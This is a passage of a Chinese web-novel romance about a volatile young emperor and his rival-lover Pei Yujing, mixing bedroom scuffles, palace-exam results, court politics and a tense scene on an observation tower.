裴郁璟趴在床沿,想问师离忱是不是渴了,双唇上突然贴来一个微凉的触感,是帝王的指腹。在他下唇轻轻擦过后,往下游走,停在了喉结的尖端。 师离忱撩起眼皮盯着裴郁璟的眼睛,歪了歪头,指腹下的喉结似被把玩的珠子,被狠狠摩挲了两下。 这两下,擦得裴郁璟心又烫了。 皮肉之下的喉结滚了滚,从指腹中滑过又滚回来,师离忱饶有兴味地挑眉,瞧了眼裴郁璟的反应,低笑了一声,顽劣之心顿起。 “脱。” 他在裴郁璟的衣襟处勾了一下,漫不经心道。 同时他也好奇。 面对这样的羞辱,裴郁璟忍耐的极限在哪儿。 …… 事实证明。 裴郁璟没有极限。 甚至没有下限。 话音刚落的刹那间,裴郁璟只顿住片刻。 少倾。 静谧的殿中就响起革带腰扣被解开的‘咔哒’声。 师离忱听着革带松开后被抽掉,听着衣料摩擦被随意丢在地上,像是被完全摒弃的底线。 当然,这不影响圣上想要继续耍弄他的心思,一具挺阔有力的身躯,是很值得欣赏的。听着动静就剩条亵裤了,他才慢条斯理道:“停。” 他扫了眼裴郁璟,哼道:“给你自己留点里子。” 裴郁璟很遗憾。 裴郁璟遗憾地爬上了龙榻。 因着旧疾发作不规律的缘故,师离忱很少进行剧烈运动,只能勉强维持着身上薄薄的六块腹肌不再退化,要再进一步可就难了。 但裴郁璟不一样。 绷紧的肌肉线条宛若随时都能迸发出非同寻常的力量,有界限分明的八块腹肌,人鱼线的线条明晰,但被一条底裤挡住了线路。 肩宽臂膀有力,师离忱在他身上四处抚过,察觉到裴郁璟呼吸变得有些沉重也不在意,指腹之下还能摸到陈年旧疤,前胸后背都有,腹部也有。 只是太黑暗,他不能看清。 师离忱很欣赏这具充满力量感的身躯,指尖掠过腹中线,还要往下探,倏地被扣住了手腕。 裴郁璟倒吸一气,声音沙哑,像是忍无可忍,“圣上,可以了。”他俯身,几乎是贴在了师离忱耳边,声线亲昵低沉,“换我来伺候圣上吧。” “嗯?”热气洒在耳廓有些烫,悦耳的声线叫人浑身发酥,师离忱情不自禁动了一下肩膀。 还没反应过来裴郁璟什么意思,人影陡然覆盖过来,双唇陡然一麻。对方带着热切的呼吸侵略而来,先是试探,随后不断啃咬,势有攻城略地之势。 圣上不是个乐意委屈自己的性子,亲得舒坦了,他自然不会排斥,还会将手绕到裴郁璟的后脖,按在他最喜欢的漂亮颈骨上。 只不过裴郁璟像那得了骨头的狼,一副要吞吃殆尽地架势,又急又凶,愈发大胆,实在让师离忱有些招架不住。 不愧是自小在边疆与鞑靼斗争着长大的,体力真好。 他又有点嫉妒了,唇瓣也有些疼了,裴郁璟也不知收敛,伺候得一点不好。圣上不高兴了。 这意味着,哪怕是再亲昵的行为,都不妨碍圣上翻脸。 师离忱揪着裴郁璟的脑袋,反嘴在他锁骨上啃了一口,硬得绷牙。他呸了一声毫不客气一脚把人踹下龙榻。 “困了。”师离忱兴致说没就没,不耐烦地打着哈欠,阖上双眸懒洋洋道,“改天再陪你闹。” 裴郁璟被撩拨得全是火气,哪肯罢休,抓了抓被小皇帝扯过的头皮,就要继续往龙榻上爬。 便听里头幽幽传来小皇帝的警告,“再上来弄死你。” 没开玩笑的意思。 真招恨! 裴郁璟后牙痒得要命,耍他耍得团团转。 香喷喷的帝王行事恣睢惯了,高兴就亲,不高兴就丢,敢违背他的命令绝对没什么好果子吃。裴郁璟舔了舔唇,有些意犹未尽,但到底没再往上爬。 只是怎么着都不甘心。 他看着龙榻之上的身影,唇边拉开一抹切齿地笑。 仗着夜深,他的神情毫无掩饰之意,眼神肆意地将帝王从头到尾啃了个遍,宛若一匹尚不知足的恶狼,觊觎着无上珍宝。 真停? 不行。 这床他爬定了!大不了脱层皮也值得! …… 困意卷来,师离忱昏昏欲睡,幔帐猛然被拉开,黑影落来,他突地惊醒,几乎瞬间抬脚就踹。 “咚!” 重物落地。 还不死心,又往榻上爬。 师离忱被搅了睡意,烦躁地坐起身来,不愉敛眉。 失了内力后,他夜视并不好,这黑沉沉的夜里,只能勉强感知到扑来的庞然大物身上有熟悉的气息。 师离忱拿着刀柄的手一顿。 下一瞬,那温热的气息就洒在了肌肤上,高挺地鼻梁抵在颈项,和疯狗似的深深嗅着,带起一阵狎昵地吸气声。 师离忱眼底微冷,他最烦不听话的狗。他揪住了怀中,裴郁璟狂蹭的脑袋,在发根不徐不疾地一拽,五指发力将其拉开。 床架是上好的金丝楠木。 “嘭!” “嘭!” “嘭!” 撞得嘭嘭像。 师离忱发了狠,用得力不小,抓起裴郁璟的脑袋,毫不犹豫就往床架上猛撞,头骨和金丝楠木的交锋,显然双方都没落下风。 血腥味在空气中涌动。 直到第三下结束,他感到脚踝一暖。 裴郁璟掌心的温度很热,甚至有点烫人。 师离忱还未反应过来,就被大掌桎梏着脚踝,接着一股猛力拉扯,他闷哼一声,身形不受控地躺倒下去,手却未松开半分,硬是拉着裴郁璟一起倒下。 “嘶……” 裴郁璟倒吸一口凉气。 没想到就算是没了上位优势,帝王也不肯罢手,仍旧紧紧抓着他后脑的发根,倒是一点也不客气,一副要置他于死地的架势。 他拉扯帝王的举动随未用多少力气,却似是反抗。 这下彻底激怒了师离忱。 师离忱冷笑,平躺着注视黑暗,目光陡然森冷,笑得瘆人,插。在裴郁璟后脑头发之中的五指发力把头拽起。倏地抽出匕首,计算着脖子的位置,一刀抹过去。 嗅到危险,裴郁璟警忙往后闪了闪。 凉凉的刀刃险险从皮肉之上擦过,他反应过来,快速腾出一只手,圈住了师离忱拿刀的手腕,以巧劲夺过匕首,扔出了龙榻范围,落地发出当啷清脆声响。 师离忱眸色冷凝,怒意已然上来,刚动了动膝打算来点狠的,就听到耳边响起一声沙哑的,低磁的,极委屈的示弱声。 “圣上太过分了。” “……” 他动作一滞。 裴郁璟见有效遏制了帝王起到半路的杀心,咳了两声,继续委屈控诉道:“圣上撩拨又不善后,况且璟也没想做什么,只是想在今夜挨着圣上睡,璟头上都流血了……” 头和木头,撞那两下差点没让裴郁璟眼前发黑。 他承认骨头还是比不过木头,却没想到小皇帝心比木头更硬,这会儿又是协议诉苦示弱,难免带上了些个人情绪,入耳的语调听起来很凄苦,带着浓浓的怨念,和一股郁气。 师离忱默了默。 却听静谧的黑暗里,响起一声轻微抽泣,瞬间将委屈拉满。 想一想裴郁璟是什么样的姿态做这样的声,师离忱怒气顿时散了。 甚至有点想笑。 而裴郁璟口中说这话的时候。 一边做足了小可怜的模样,一边仗着师离忱看不清,将视线肆无忌惮地投射在帝王身上。 他头上的血流到了眼角,似要浸到眼底,一切欲望都被沉甸甸地压在眉间。他舔了舔唇,沉了沉呼吸,双臂支撑在师离忱身侧,撑起了身子,将帝王整个都笼罩在身下,似盘踞在宝物身旁的野兽,深沉可怖。 见师离忱没什么反应,眼尾已有困倦之色,他悄悄地挪动着,试探性地躺在师离忱身侧,又试探性的去勾师离忱的腰身,被一巴掌拍在手背上,打红了。 他干脆顺杆往上爬,干脆捏着师离忱的手,按在了自己的腹部,将腹部线条绷紧,尽情展露自身优势。 “你当朕和你开玩笑?” 师离忱实在困乏,也没心思在打闹下去,折腾得这么晚,他如今困得紧,哪有心思继续欣赏躯体,抽回手将衣襟拉开了些散热,“离朕远点,热。” 差点没被满目的白晃了眼,裴郁璟哪里舍得走啊,开口正要说话,便听殿外传来乐福安小心询问的声音:“圣上?殿中有人吗?老奴怎得听有动静?” 刚才打了一架,虽然是在龙床上打的,闹得动静也不算轻。 圣上晚间休息时有规矩,无吩咐,无人敢进殿中查看情况。此番动静闹得大了,守夜的小太监怕出事,这才赶紧去报了总管大监。 乐福安问过后,候在殿外,沉着气注意着殿中的动静。 半响。 殿内传出圣上散漫的语调,“朕无事,你去歇着吧。” 声音状态一如往常,并无异样,乐福安松了口气,道:“那圣上早些歇息,奴才且退下了。” 内殿。 裴郁璟又滚下了龙床,不过圣上腿力不如之前,踹得没那么疼,不轻不重踹得他小腹有些痒痒。 幔帐之中,师离忱声音平常,“狗东西,朕许你的才是你的,再敢乱动朕就阉了你去和福安作伴。” 难辨情绪的嗓音里,带着丝丝狠厉之意。 裴郁璟深知再去挑衅,小皇帝必然要动真格,届时把金吾卫喊来,他得不偿失。他无声一叹,只能暂且放弃爬龙榻的选项,不过今日也不算亏。 裴郁璟笑意深长,把散落在地的衣裳一件件捡回来穿上,顺手把从师离忱枕边摸到的玄色暗纹巾帕塞进怀中。 快速离开了殿中。 * 翌日清晨。 京都城会试榜单张贴,会试头名以及前十位贡士的卷子被呈放到圣上案前,柳清宁道:“圣上,礼部已着手准备殿试,今年春闱参与举子诸多,翰林院层层批阅,共有四百九十三名贡士。” “知晓了。”师离忱波澜不惊,对这个结果并不意外。 往年有科举暗中舞弊之事导致郁郁不得志之人诸多,有甚者对朝廷失望,自然就放弃参举。 先帝死后国丧期间的秋闱,由太师把持,先是整顿了科举。之后太后下台,圣上又将林氏一族尽除。 监察司确立后,查出第一个大案便是九华寺,引得所处月商的所有佛寺都进行整改严查。 科举被完全肃清整顿,自然就会有想要投效朝廷的学子出现,且春闱只论学识不论年岁,往年得举者也来参与,人数便上去了。 翻看史册,往年贡院最多也不过容纳六七千人。 第54章 师离忱简单看过卷子,倒是有两个熟悉的姓氏,一份是卫珩一,一份则是春日宴上的那位陶举子。 还算是有些墨水。 只是以帝王的眼光来看,这份卷子纸上谈兵居多了些,且有些偏激,不够符合国情,若是生在太平年间,陶举子或许能有作为。 可惜现在北有南晋,外有鞑靼,外患不解,何以谈儒。 “这份,原本太傅是不打算让他过试,但臣瞧过,认为里头有些见解在理,又让翰林院诸位都审过,才留下来。”柳清宁道。 师离忱唇边噙笑,瞥一眼右上角标注的名次,“二百三十六名,可圈可点,算不得好,也算不得不好。” 说话间,师离忱将目光转向柳清宁,见柳清宁板着脸,面上不带一丝情绪,就知这殿阁学士有气了。 他忍俊不禁道:“朕听说了那日的事,有人训过他们了,还有穆子秋盯着起不了乱子,你不必放在心上。” 柳清宁一板一眼道,“臣度量小,听不得有人诋毁圣上。” “朕都不在意。”师离忱失笑,把陶举子的卷子放到一旁,“该怎样就怎样,这卷子也不必特意拿到朕眼前来。” “臣明白了。”柳清宁低声道。 至于其他会试前十的卷子,每一份都精彩无比,春闱人多才子也多,届时殿试,还真不知到底谁能夺得前三甲。 师离忱瞟了眼卫珩一的卷子。 会试第五。 * 京都城中,有人欢喜有人愁。 会试榜单一出,有得当场情绪激动到昏死,有人则以为无望在客栈收拾细软,谁知被吹锣打鼓叫住。 有得踌躇志满,却翻来覆去找不到姓名,在榜前哀嚎无能狂怒。 卫珩一站在高高的榜下,昂首看着第一排,顺位下来第五个,属于自己的名字,眼前有些恍惚。 “你中了!中了!”荀嵩比他这个当事人还激昂,指着上头的名字,“第五,第五!” 卫珩一回过神来,心口嘭嘭地跳,“第五,我中了。” “跑,快,快跑!”荀嵩嚷嚷完,发现有戴着大红花的小厮再往这边挤,赶紧拉着卫珩一逃跑,“捉婿的来了!” 会试出榜,人挤人。 榜下捉婿逃跑的岂止一户人家,一人跑,人人跑,顿时哄闹的,嬉笑的,哭喊的,唉哟叫唤的,乱成一片。 …… 荀嵩与卫珩一跑在前头,迎面撞上领军前来的穆子秋。荀嵩累得大喘气,话都说不清,指着后头乱哄哄的人群,张嘴只剩哎哎哎。 穆子秋翻了个白眼,指挥禁军上去疏通人群,制止乱象。看榜归看榜,抓婿也不是不行,但不能扰乱制度,引起踩踏。 险些遭殃的书生们纷纷长吁一气,也有积极被抓,但可惜没被抓走的。 穆子秋翻身下马,对卫珩一道:“听闻你得名第五,恭喜。” “多谢。”卫珩一颔首。 “可不能骄傲!”荀嵩在旁,认真计算道,“你要好好备考,以应对一月之后的殿试,今年有四百九十三名贡士参与殿试,人才辈出,你可万万不能被比下去咯!” 穆子秋轻嗤道:“天子门生,岂是那么好做的。” 他看卫珩一鼻子不是鼻子,眼睛不是眼睛,想了那么久,还是想不通圣上到底看重这书生哪点? 卫珩一家境不富,轻易能看出交谈之人的情绪,在多次的接触当中,总能察觉到一些来自穆世子身上的莫名敌意。 他不明这敌意从何而来,只笑面从容应对,谦和提醒:“世子御前办事,应与贡士们都疏远些,以**言蜚语。” 此话一出。 顷刻间变得剑拔弩张。 穆子秋冷哼道,“用得着你来教我,还是顾好你自己吧!” 荀嵩瞧着气氛不对,打着哈哈道:“别吵别吵,都是自家兄弟。” “好,自家兄弟。”卫珩一端得一副谦谦君子,礼貌带笑地问穆子秋,“所以穆兄,今日能否告知小弟,那位来酒楼与我等交谈的公子,究竟是谁了吗?” 这个问题,他问过许多次。 当时看出穆子秋的眼神不对后,并未直接相问,而是在京都找过一段时间,毫无头绪,便只能从穆子秋处探听。 穆子秋从开始的矢口不提,到后头的不耐。直到挨了一顿板子,他们去探望之后才松口。 但也只有一句并非京都人士。 卫珩一心中叹息,虽与那位公子只见过两面,可每一面都印象深刻,到底要何时才能再遇见? 那二百两一直捂在他胸前,若有机会,他定要亲手交还。 而穆子秋一听卫珩一又打听起圣上,放假消息本就心虚得紧,不愿多说便翻身上马。 但姿态要做足,他倨傲地昂起下巴,驳斥道:“不是说要疏远些吗?专心你的殿试!少打听没用的消息。” 说完他驱马融入禁军队伍,指挥着禁军往东市走。 “别在意,世子爷就这样。”荀嵩小声嘀咕道,“他见谁都同乌眼鸡似的,你别和他计较。” 他拍了拍卫珩一肩膀,语重心长道:“还有你也是,他不乐意说就算了,你还老和他打听人做什么。要不是那天我喝醉了没看清,我非得把京都城翻过来给,也要帮你找到人。” 卫珩一默不作声地听他说完,停顿片刻,提醒他道:“今日会试放榜,令尊自春闱起就在宫中办事,今夜恐怕就能归家了,你可要去迎一迎?” “对啊!” 荀嵩一拍脑袋,反应过来,赶紧提着衣摆就跑:“不和你说了,等会儿回去晚了我爹得揍我了,先走了先走了!” * 春闱期间,太后办得一场春华宴,并非毫无作用。 圣上御案前,关于选妃的折子越来越多,无非就是继位江山,需有后嗣。师离忱看着奏疏上的内容,眉心拧得很紧,烦得甩到一旁。 今日侍奉在御前的是福生,福生捡起奏折,不敢去触圣上霉头,小心翼翼地摆放在另一边的案几上,恭候在旁。 师离忱拿起另一份奏疏,无例外,还是选秀。 啧。 又一本奏折被丢到了地上。 福生蹲身捡折。 上首,圣上声线不辨喜怒,“将上折名单抄录一份送去监察司,无论大小都找出他们的错处,内宅的,养外室的,家中子嗣有错的,一个也别漏了。” 福生应道:“遵旨。” 师离忱低敛着眸,眼底阴沉沉地转着玉戒,幽幽道:“一帮记吃不记打的,还有空管朕。” 顿了顿,他问福生,“你师父呢?” “师父说,小宠老伺候不好圣上,得懂点规矩,去监督去了。”福生低首,恭恭敬敬地回答。 …… 与此同时。 兽园偏殿之中。 乐福安挑剔地扫视一眼裴郁璟,冷笑道:“别以为咱家不知道,昨儿晚上是你偷偷溜进的圣上寝宫。” 裴郁璟挑眉道:“公公好耳力。”他看向乐福安身后两名从头到脚,裹着斗篷,遮得严严实实的人,“……这是?” “教你怎么伺候圣上的妙人。”乐福安颇有些嫌弃地扫一眼裴郁璟,声音阴阳怪气道,“……圣上怎么就瞧上你了呢!” 身形高挑挺阔,不够柔软,与圣上那修长矜贵的身姿站在一起,哪里相配?偏偏就他能得圣上欢心。 乐福安想想圣上空荡荡的后宫,圣上又一直孤身一人…… 也罢! 只要能讨圣上高兴,再怎么样他都捏着鼻子认了。 “闭门。”他吩咐道。 殿门关紧。 乐福安拂尘一挥,两人身上的斗篷全数落下,显出内里乾坤。 裴郁璟阴沉不定地扫过一行人,眼睛好像被玷污了。他沉着一口气抬眸望天顶,试图劝乐福安回头是岸,“公公,没必要吧。” “有必要。”乐福安肃然道,“这两位都是京都拔尖的人儿,伺候人的那叫功夫一流,你就看着他们怎么做,怎么教的,你好好学,免得你这没个轻重的家伙又给圣上啃出一嘴的血!” 裴郁璟咳了两声,心虚得紧。 乐福安冷哼一声,还要赶着回去侍奉圣上,出了门后,就在门口上了一把大锁,把人锁在里面。 “这伺候人啊,可有讲究了,尤其是伺候金尊玉贵的贵人,要像这样……”特殊人才开始示范,摘下一颗葡萄,“不能用牙,只许用舌头,把这新鲜葡萄的皮剥下来,这功夫就成了一半。” 裴郁璟坚持不看二人。 但是那知识就是从耳朵里进去了…… 这种东西看书就好,实在臊得慌,裴郁璟隔着一道门唤乐福安,“公公,真的不必如此。” 乐福安半个字都不会信,斥道,“好好听,好好学,回头再叫咱家看见圣上身上有伤,饶不了你!” “……” 裴郁璟嫌恶地扫了眼有互动的二人,眼不见为净,干脆跃到房梁之上。底下两位带着命令来的,自然不能停下,尽量把有用的知识化作言语说出来。 人是不想学的。 脑子是记住的。 裴郁璟不自觉就想到了小皇帝,就连底下的动静都被忽略了。 他想。 还没见过师离忱情。动的模样。 师离忱永远都带着一层疏离的面具,哪怕隔得再近,说翻脸就翻脸,他眼底暗了暗,抚上额角。 那里有昨夜在床柱上撞出的淤痕。 更让人上瘾的是,天子身上如绸缎般滑。腻的触感,矜贵的圣上,每一寸都带着香气。 虽然当时一片漆黑,可鼻尖触碰到的感觉不会错,黑夜会放大感官,天子的耳垂就像微凉的玉珠,含着就舍不得放开。 美好的让人舍不得醒。 裴郁璟眼神幽暗,唇角微扬。 白日威严,生杀予夺的帝王,晚间躺在榻上任人蹂躏的时光。 哪怕只有一瞬。 也令人甘之如饴啊。 趁帝王对他尚有兴趣,关系或许还能再近一步也说不定。 否则。 当兴趣消失。 天子真会割下他的头颅做酒碗。 以及藏匿的……某些事。 必将让天子震怒。 惹怒一国之君,并不是好主意。 第55章 监察司的动作很快,找齐了名单上大臣的小辫子。 等到朝会之上,按照名单陆续参奏。 宛若阎王点卯,每隔三日参一批。罚俸的罚俸,该整治家风的整治家风,谁也别想逃过。 两次下来,大臣们总算回过味来。 圣上很不满他们递上去的,有关于选妃的奏折,和监察司联合演了一出戏,在这儿敲打呢。 这些上书的大臣,家中多半有适龄待嫁女子,且大部分都去过太后举办的春华宴。他们打着让自家子女入宫的注意,说到底不过是为自身牟利。 在朝为官,要的是脑子。 眼瞧着两次朝会受到牵连挨罚之人,都是请书选秀的臣子,这帮人多少心里头就有数了。 该撤奏折的撤,该闭嘴的闭嘴。 朝会上口风也变了,圣上不想纳妃就不纳呗,反正尚未及冠,年轻,日后有得是机会。 百官老实了。 心中宽慰自己。 至少圣上没和让太后结束垂帘听政那天一样发疯—— 那日朝会,圣上只披了件玄色龙袍,发也没梳,微卷的长发散在周身,浑身裹挟着一股懒怠的气息,单提着把天子剑就来上朝。 年轻的帝王肤色苍白,唇色猩红,像是被打搅了好心情,神情烦躁,连带眉眼都萦绕着阴沉沉地戾气。 龙椅也不坐,随意地坐在玉阶上,姿态看似平易近人,可行为却令人闻风丧胆。 他叫着百官名字,一个个轮流问话。 谈的不高兴了就杀一个,谁回答的不满意了就杀一个。 实在令人心有余悸。 如今圣上肯和监察司打配合,做做戏,已经很好了。 而那些,还没来得及上书,或是想观望一阵再上书的官员,反应过来也惊出一身冷汗。 好险,差点就犯忌讳……圣上最厌烦官员越权,显然这是。 于是。 朝堂之上,暂且安分了。 一晃眼,便到了殿试之日。 皇城朱雀门敞开。 朝臣走顺义门,殿试学子走朱雀门,金吾卫奉命把守在前,穆子秋则臭着脸,一个个审查贡士身份。 自打春闱开始,他就没进过宫,圣上不许他进去,只能在朝会上偷瞄几眼,实在让人心里发苦。 这些贡士入了朱雀门,还要进行一层验明正身,才能去往金銮殿的位置。 * 紫宸殿。 师离忱低声哼着小调,笔尖蘸取墨汁,大笔一挥勾勒出一幅画作雏形,楼阁,高台,模糊的人影。 门外有人来报,“圣上,殿试将开,可要前去一观?” 四百多人殿试的盛况,今朝头一回得见。 金銮殿两侧有翰林院及内阁百官监考,还有金吾卫在周边巡视监察,总体不会出差错。 师离忱并无监考全程的心思。 等阅卷后再去殿上,倾点出前三甲也不迟,去了也只是干坐半日罢了,枯燥乏味。 他道:“朕就不过去了,一切事宜让柳清宁自行处理。” “喏。”宫人应声,快步退去。 圣上口谕,他得尽快到金銮殿前,和主持春闱的柳大人知会一声,免得延误殿试。 …… 这一打岔,师离忱又下不去笔了。 注视一会儿案上的画,他放下笔,叹了叹道:“福安,烧了吧。”死物到底没有神韵。 他也没了再起画的念头,起身道:“朕自己走走,不必跟来。” “圣上……”乐福安神色间有些担忧,送着圣上出门。待回头收拾御案时,瞧见上头轮廓身影。 是观星台。 宫中熟悉的老人都知道,先帝纵情享乐,最爱的就是放下观星台四面纱幔,看舞姬在飘飞的纱帐中起舞。 后来。 舞姬的脸,变成了纯妃娘娘。 从观星台上坠落—— 火星从画纸低端攀爬而起,翕张着吞没所有笔墨光影。火光明灭,打在乐福安面无表情的脸上。 此刻,竟格外阴森。 * 观星台。 不知不觉漫步至此,风声裹挟着一丝沉重的钟声。 这声音来自金銮殿前,代表着殿试开始,贡士们落座答卷。 师离忱来到观星台最高处。 这里被擦拭得纤尘不染。 褪了鞋。 他踩在台前。 如今气候宜人,可墨色地板踩上去还是冰凉的。但他浑不在意,享受地眯起双眸在上头吹着风,沿着这块中空之地,慢吞吞地走圈。 一眼俯瞰皇城,也可瞻仰云天。 无人打搅之时,这观星台是最静谧不过的地方, 四周寂寥。 师离忱走累了,便在边缘停下,越过及腰的木栏,横坐其上,双手虚虚地支撑在木栏上。 习惯性望向虚空,藻丛般的长发披散周身,与玄色广袖龙袍及衣摆,一同被清风吹得微扬。 如同展望高飞的鸟儿。 他不觉得哪里不对,或者说他以前经常这么做,只不过是因为太忙太忙,雪化开之后就鲜少来观星台。 加上福安老管着他,也没机会这么做。 师离忱双眼不带一丝情绪,淡淡地看着皇城天际。 错落房屋一线天,初生的朝阳在那端刚冒出一半的影子,橙黄橙黄的暂时还不扎眼。 朝阳正在慢慢的起来,为整个京都渡上一层辉煌。 师离忱想看得更仔细些,连扶都懒得扶了,眯着眼抬手挡住额前的光,风一吹,整个人显得摇摇欲坠。 此行此举。 足以让旁观者惊心动魄。 …… 忽地,一只手臂从背后环来,师离忱察觉到生人气息已经晚了,低头一看腰腹位置被炽热地掌心牢牢把控住,后背也贴到一个挺阔的胸膛。 他眉心微敛,还没来得及发脾气,眼前陡然一晃。 腰间的手臂手掌倏然间发力,将他整个人都举到半空,接着往后带了几步,远离栏杆后,才肯将他放在台上。 一切发生于瞬息之间。 师离忱眼睛注视朝阳太久,眼前还有点发黑,一时间没缓过神来,双目显得有些茫然无措。 宛若一只雏鸟。 裴郁璟有那么一刹,不敢呼吸,怕惊扰了师离忱, 他不知道师离忱身边为什么一个人也没有,又为什么坐得那么高,坐在那么危险的地方。 将人带到安全的地方之后,他心中涌上来的除了庆幸,还有愤怒。 这股愤怒让他忘了克制,忘了压抑,忘了伪装,连带看向师离忱的眼神也变得凶冷幽沉,透着一股寒意。 裴郁璟沉声道:“圣上是不打算活了?” “谁说的。”师离忱回神,揉了揉发涩的眼睛,慢条斯理道:“朕在赏景,有你什么事。” 他甩开裴郁璟,要回栏杆的方向,前路立刻就被裴郁璟堵住。 师离忱不耐地撩起眼皮,在瞧清裴郁璟的神态后,倏然一怔。 此刻的裴郁璟气息沉着,眉头紧压,眼中有少许血丝涌上,似有狂风怒浪在酝酿,宛若一头即将发怒的野狮。 与帝王对峙不避不让。 “不许去!”他语气凶狠,不似玩笑。周身萦绕的压迫感有那么一刻,让师离忱感受到了威胁。 师离忱很不喜欢裴郁璟这个表情,抬手抚上裴郁璟的脸侧,端详着这张深邃俊美的面庞,拇指指腹按在他绷紧垂直的嘴角。 “你在生气?”师离忱不解道,“为什么?” 裴郁璟气笑了,“你说为什么?” 师离忱道:“不知道。” 他不懂,也不明白,“朕是你的敌人,就算是暂时达成了合作,我们也是敌人,朕死了你应该高兴的。” 裴郁璟目光沉沉地看着师离忱,霎时间眼眶通红,隐忍压制着的戾气凶性全都浮了出来。 仅剩的理智,暴怒的临界点边缘徘徊。 遽然。 唇角被轻轻吻了一下。 裴郁璟瞳孔缩了缩,整个人浑然紧绷。 师离忱砸吧了下嘴唇,掐着他的脸颊,命令道:“别摆出一副死人脸,笑。”太严肃了,不喜欢。 裴郁璟顿了顿,僵硬地扯了下嘴角。 “不够真心,重笑!”师离忱拧眉,继续命令。又觉得抬着眼睛看人很累,在裴郁璟小腿踢了踢,“跪下。” “……”难伺候。 好在帝王眼下光想着折腾他,没想着往危险的高地跑,裴郁璟也就顺势跪下,抬首朝向师离忱。 他咬着后牙槽勉强扯出一个笑脸,下颌线绷得紧紧,小臂垂在身侧上头青筋跳了跳,像是随时能暴出有力量感的弧线。 气还没消。 哪里笑得出来——他蓦地一滞。 …… 师离忱睨了眼裴郁璟,突然两步上前,用力将人推倒,抬腿一跨便坐在了裴郁璟腰腹上。 俯身,蛮横地啃上了他的嘴巴。 裴郁璟眼神陡然转变,气息几番变动,最后一点气都被塞回去。自然而然地将大掌,贴在了圣上俯身过来时,塌陷的腰心。 师离忱以为裴郁璟要逃,不愉敛眉,按着裴郁璟的肩,抽空低声警告,“不许动。” 裴郁璟喉结滚了滚,哪里敢动。 一动就露馅了。 于是。 师离忱心满意足地轻薄完了裴郁璟,自从上回亲过之后,也有一个月没碰了,亲着感觉不赖,挺舒服的。 他擦擦嘴,不轻不重地在裴郁璟胸前捏了一下,见裴郁璟一言不发,挑眉道:“冷静了?” 裴郁璟道:“算吧。” 他看着师离忱的目光,转变成了另一种带有侵略感的眼神。可惜圣上品不出来,还把裴郁璟的喉结当滚珠玩,用手指头拨弄着,“两日后有琼林宴,记得来。” 喉结一痒,刺激得浑身都痒,裴郁璟捉住师离忱的手腕,制止了这个行为,嗓音低沉喑哑,“晓得了。” 然后挨了一巴掌。 “谁准你碰朕了?” 裴郁璟又痛快又痛地闷哼了声,有苦难言。 第56章 两日后。 殿试结束,进士揭榜。 考官已经将卷子批阅好,用朱笔在卷面圈圈点点,做出标记,几番审理查看无误后,由主考官柳清宁将前三的卷子,呈到圣上面前。 为表公平,封盖姓名籍贯的签子一缕未揭。 要等圣上倾点出了先后,才能揭晓一甲头三的姓名。 师离忱闭门,与太傅,柳清宁,公议半日,最终确认名次,揭晓封签。 封签一揭,瞧了名字,太傅神情有些怪异道:“难怪方才看这行文眼熟,原来是这小子。” “喔?” 师离忱看了眼一甲第二,名为李别放的卷子,笑了笑洗耳恭听道:“太傅有何故事?” 太傅道:“这李别放,参加了两次春闱,臣头一回见他时,他在贡院的卷子上画了个狸猫吃猪肘,此举实在辱没科举,臣气不过,便将他赶了出去。” 他言语间还有愤愤,“过了两年他又来,那年又是臣主考,臣怕此人又在卷上乱画,便特意注意了。前两场倒是安分,臣看李别放答得不错,还以为他能改过自新,结果到了第三场,他就开始胡乱书写。” 师离忱饶有兴致,“他写了什么?” “题为‘百姓足,君孰与不足’,他倒好,在卷子上写了句:君足不足难辨,君子不足肚饿叫苦连天。然后在卷子上画了个自画像,端着王八汤。” 提起这事,太傅眉头都拧成了疙瘩,“不像话!明明有真才实学,偏要等到今年才肯好好答题,有辱斯文!” 该一甲第二还是个抽象派,师离忱忍俊不禁道:“老师莫气,人各有志。既然今年他的文章能得翰林院认可,自然是有过人之处。” 一旁,柳清宁询问道:“圣上,那就这么定了?” “定了。”师离忱指尖有一搭没一搭的在桌面敲击,所敲打的纸张位置恰好是卫珩一的笔墨,他垂眼道:“明日朝会连同传胪大典一同办了,太极宫夜摆琼林宴,可以安排夜市放开了,去办吧。” 柳清宁行礼道:“臣领旨。” 殿试阅卷后,所有进士都要上殿前听封,分一甲二甲三甲,二甲三甲宣读过后,由总管大监宣读一甲名单,一甲面圣,由圣上裁定状元榜眼探花。 当然,状元榜眼探花一贯只是说法,不算官位。 一甲赐的是进士及第。 二甲三甲为进士出身。 若有无法较量出高下的情况,圣上会出题亲试一甲,从而得出先后,抉择出状元榜眼探花。 但柳清宁想,今年圣上或许不会殿前亲试。 前三排序争议并不大,从文章内容的细微处就可见分别,翰林院几番审校之时就已经排好了前三顺序。 圣上过目后,这个顺序并无变换,现下应该已经吩咐福公公代笔拟旨了。 反而是二甲前十的名次有许多争端。 文章无法拉开差距,难以判断,最后采取了所有人的意见,选出一个符合大部分官员意见的名次。 这种情况往年难以得见。 多半是今年人多,才学出众者也多的缘故。 …… 而殿试结束之后。 参加的进士早早就去国子监领进士巾服,由国子监祭酒指点礼仪,在确认传胪大典举办的时间后,次日清晨于文武百官一同上殿前听宣。 念到名字的二甲三甲,就地跪拜叩首,以示到场,且得一条进士的红绸绶带。 一甲则要出列,上殿前面见圣上。 以钟代礼乐,鸣钟起始,由末等三甲开始念起。 声音模糊的传进金銮殿内,陆陆续续的,像是念经一般,听得人头昏脑涨,竟生出几丝睡意。 师离忱不打算委屈自己强打精神,浅浅打了个哈欠,便没骨头似的将身子软绵绵地靠向龙椅。 他耷拉着眼,姿态懒散地托住下颌,昏昏欲睡,任由玄色广袖滑落,露出一截白皙小臂。 四百多名进士,还得念一会儿呢。 半透的金帘横亘在君臣之间。 百官瞧不清圣上的神情,可身形却一目了然,一眼就能分辨出圣上这是困了。 文臣以老太师为首,老太师欲言又止,不好出声提醒,只好对着台阶之上的乐福安使眼色。 指望着福公公把圣上叫醒。 好歹是传胪大典,怎能如此散漫。 可惜太师指望错了人。 乐福安抬起食指搭在唇前,无声做了个‘嘘’的手势,示意太师稍安勿躁。 福公公心思很简单,圣上这些时日睡得不好,有梦魇总被惊醒,难得有睡意,就让圣上歇一会儿吧。 武官以镇国公为首。 见状,镇国公当即笑出了声,被老太师瞪了眼,赶紧捂嘴。要不是场合不对,他也想打盹。 要是和太师一样,有把椅子就好了。 …… “圣上,圣上,该宣一甲上殿了。”听到名单念到二甲末尾,乐福安附耳,轻轻的唤醒圣上。 师离忱长睫动了动,有些倦怠地睁开眼,揉着眉心道:“宣吧。” 乐福安到殿前,打开圣旨,念过几句简短的溢美之词过后,他气沉丹田,念出一甲三名—— 